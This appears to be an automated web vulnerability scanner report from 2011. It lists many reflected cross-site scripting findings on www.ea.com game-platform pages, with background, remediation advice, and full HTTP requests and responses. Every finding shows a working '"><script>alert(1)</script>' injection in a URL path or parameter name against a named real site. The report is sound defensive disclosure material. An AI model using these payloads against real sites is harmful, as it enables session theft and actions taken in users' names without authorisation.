Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63934"><script>alert(1)</script>2df1751bdc4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /hasbro63934"><script>alert(1)</script>2df1751bdc4 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:34 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=q1hu6pdtvde5o6ou1i8lmndgr0; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/hasbro63934"><script>alert(1)</script>2df1751bdc4" /> ...[SNIP]...
1.2. http://www.ea.com/hasbro [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/hasbro
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50ee5"><script>alert(1)</script>fce1739ef22 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /hasbro?50ee5"><script>alert(1)</script>fce1739ef22=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:52 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=0l3r07fnbqfh2m49pvb96ndld3; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 70735
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a href="http://www.digg.com/submit?url=http://www.ea.com/hasbro?50ee5"><script>alert(1)</script>fce1739ef22=1" class="digg-button"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6984"><script>alert(1)</script>80d93bc71a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ipade6984"><script>alert(1)</script>80d93bc71a5 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:19 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=q40if3obhassdl2f9hct64jt97; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/ipade6984"><script>alert(1)</script>80d93bc71a5" /> ...[SNIP]...
1.4. http://www.ea.com/ipad [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/ipad
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a8a8"><script>alert(1)</script>a817042de2e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ipad?7a8a8"><script>alert(1)</script>a817042de2e=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:08:04 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=0pkopsdhd3jhhkf5h4g2ag3fp6; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 62200
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a href="http://www.digg.com/submit?url=http://www.ea.com/ipad?7a8a8"><script>alert(1)</script>a817042de2e=1" class="digg-button"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f30d8"><script>alert(1)</script>b00c128a7a2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /iphonef30d8"><script>alert(1)</script>b00c128a7a2 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:29 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=2rji8o0i02qi8pf8eecrn0ktl2; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/iphonef30d8"><script>alert(1)</script>b00c128a7a2" /> ...[SNIP]...
1.6. http://www.ea.com/iphone [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/iphone
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5498"><script>alert(1)</script>98182c329e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /iphone?e5498"><script>alert(1)</script>98182c329e3=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:08:04 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=c37dgtcd9v5so5qc2512oda4c2; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 75114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a href="http://www.digg.com/submit?url=http://www.ea.com/iphone?e5498"><script>alert(1)</script>98182c329e3=1" class="digg-button"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d069"><script>alert(1)</script>bc71c2e28ae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mobile2d069"><script>alert(1)</script>bc71c2e28ae HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:48 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=5rkhii3l0etm09hgkiup7chbu6; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31127
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/mobile2d069"><script>alert(1)</script>bc71c2e28ae" /> ...[SNIP]...
1.8. http://www.ea.com/mobile [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/mobile
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b7f0"><script>alert(1)</script>1a57fea79e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mobile?4b7f0"><script>alert(1)</script>1a57fea79e6=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:08:11 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=f6h8smbmcc5eb4cfmc8shpdpp2; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 72033
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a href="http://www.digg.com/submit?url=http://www.ea.com/mobile?4b7f0"><script>alert(1)</script>1a57fea79e6=1" class="digg-button"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a510c"><script>alert(1)</script>768026e5947 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platforma510c"><script>alert(1)</script>768026e5947/online-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:15 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=r5uc24ode1odj7sfplf1so9lt6; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31141
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platforma510c"><script>alert(1)</script>768026e5947/online-games" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c71d6"><script>alert(1)</script>afd7f39634c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/online-gamesc71d6"><script>alert(1)</script>afd7f39634c HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:09:19 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=hdhctndthgvreqj5oc72kovrd4; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform/online-gamesc71d6"><script>alert(1)</script>afd7f39634c" /> ...[SNIP]...
1.11. http://www.ea.com/platform/online-games [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/platform/online-games
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e979"><script>alert(1)</script>2cc600f9716 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/online-games?4e979"><script>alert(1)</script>2cc600f9716=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:54 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=3v32m4m525g1q6qqhm6uoqlng1; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 68281
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a class="shareIcon digg" href="http://www.digg.com/submit?url=http://www.ea.com/platform/online-games?4e979"><script>alert(1)</script>2cc600f9716=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7daef"><script>alert(1)</script>8f7305031c5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform7daef"><script>alert(1)</script>8f7305031c5/pc-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:08 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=dp5er2bnu8nk51e2hejgg8prt2; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform7daef"><script>alert(1)</script>8f7305031c5/pc-games" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 978f0"><script>alert(1)</script>de071991f69 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/pc-games978f0"><script>alert(1)</script>de071991f69 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:12 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=p115287m0igh5ha8rktkogt2l1; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform/pc-games978f0"><script>alert(1)</script>de071991f69" /> ...[SNIP]...
1.14. http://www.ea.com/platform/pc-games [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/platform/pc-games
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a13f"><script>alert(1)</script>4e0080deced was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/pc-games?2a13f"><script>alert(1)</script>4e0080deced=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:38 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=i1srfdvvnrvksap1l2p9ivs9v3; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84547
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a class="shareIcon digg" href="http://www.digg.com/submit?url=http://www.ea.com/platform/pc-games?2a13f"><script>alert(1)</script>4e0080deced=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1666"><script>alert(1)</script>0c0acabc5be was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platformd1666"><script>alert(1)</script>0c0acabc5be/ps3-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:22 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=qg2f822huup33e8vdjs9ee1p80; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platformd1666"><script>alert(1)</script>0c0acabc5be/ps3-games" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7ff7"><script>alert(1)</script>3d766d616d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/ps3-gamesb7ff7"><script>alert(1)</script>3d766d616d5 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:26 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=eclo7i73cfqlnl7uaeqlknq0g6; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform/ps3-gamesb7ff7"><script>alert(1)</script>3d766d616d5" /> ...[SNIP]...
1.17. http://www.ea.com/platform/ps3-games [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/platform/ps3-games
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82e73"><script>alert(1)</script>17436741d31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/ps3-games?82e73"><script>alert(1)</script>17436741d31=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:49 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=luocner863ance16967gh02qs0; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 85039
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a class="shareIcon digg" href="http://www.digg.com/submit?url=http://www.ea.com/platform/ps3-games?82e73"><script>alert(1)</script>17436741d31=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9838c"><script>alert(1)</script>d99c4148412 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform9838c"><script>alert(1)</script>d99c4148412/xbox-360-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:13 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=ghogbj07oe5vmhojil9itqhbl0; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform9838c"><script>alert(1)</script>d99c4148412/xbox-360-games" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9216f"><script>alert(1)</script>e3244aad044 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/xbox-360-games9216f"><script>alert(1)</script>e3244aad044 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:17 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=3g5dcbo2tg5kp6hne4mvnq76f3; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/platform/xbox-360-games9216f"><script>alert(1)</script>e3244aad044" /> ...[SNIP]...
1.20. http://www.ea.com/platform/xbox-360-games [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/platform/xbox-360-games
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7223"><script>alert(1)</script>38f7d5e6e2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /platform/xbox-360-games?c7223"><script>alert(1)</script>38f7d5e6e2c=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:42 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=9cg06j3gera3opfjeuupp54g93; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84502
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a class="shareIcon digg" href="http://www.digg.com/submit?url=http://www.ea.com/platform/xbox-360-games?c7223"><script>alert(1)</script>38f7d5e6e2c=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73bb4"><script>alert(1)</script>d65c535f196 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
